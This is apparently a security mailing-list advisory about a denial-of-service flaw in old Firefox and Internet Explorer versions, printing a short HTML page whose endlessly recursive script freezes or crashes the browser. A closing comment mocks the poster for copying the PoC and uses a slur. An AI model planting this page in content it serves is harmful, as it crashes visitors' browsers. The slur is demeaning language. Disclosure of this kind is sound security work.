Hello list!

I want to warn you about Denial of Service vulnerability in Mozilla Firefox and Microsoft Internet Explorer.


Earlier Jean Pascal Pereira has found DoS vulnerability in browser Firefox 14.0.1 (http://1337day.com/exploit/description/19201). And at 07.04.2013 I've checked this vulnerability and found, that many other browsers are vulnerable to these attack.


-------------------------
Affected products:
-------------------------

Vulnerable are Mozilla Firefox 3.5.19, 3.6.28, 10.0.7 ESR, 15.0.1, Internet Explorer 7 (7.00.5730.13) and Internet Explorer 8 (8.00.6001.18702). And also must be vulnerable previous versions of these browsers and potentially more newer versions of Firefox and Internet Explorer.


----------
Details:
----------

Denial of Service (WASC-10):

The attack occurs via infinite recursion. Which leads to RAM consuming.

My version of the exploit for different browsers.

Mozilla Firefox & IE DoS Exploit.html

<html>
<head>

<title>Mozilla Firefox 3.5.19 - 15.0.1, IE7 and IE8 DoS Exploit (C) 2013 MustLive. http://websecurity.com.ua</title> <!-- Based on exploit by Jean Pascal Pereira (http://1337day.com/exploit/description/19201) -->

</head>
<body>
<script>
function e(x) {
document.body.innerHTML += x;
e(x + 'x');
}
e('x')
</script>
</body>
</html>

Browser crash works in Firefox 10.0.7 ESR and 15.0.1, but doesn't work in 3.0.19 and previous versions. In Firefox 3.5.19 and 3.6.28, IE7 and IE8 there is only freezing.

He exactly copied the PoC from Jean Pascal, added " <!-- Based on exploit by Jean Pascal Pereira (http://1337day.com/exploit/description/19201) -->" to the <title> tag and called it "his version of this exploit for different browsers". This is completely retarded.
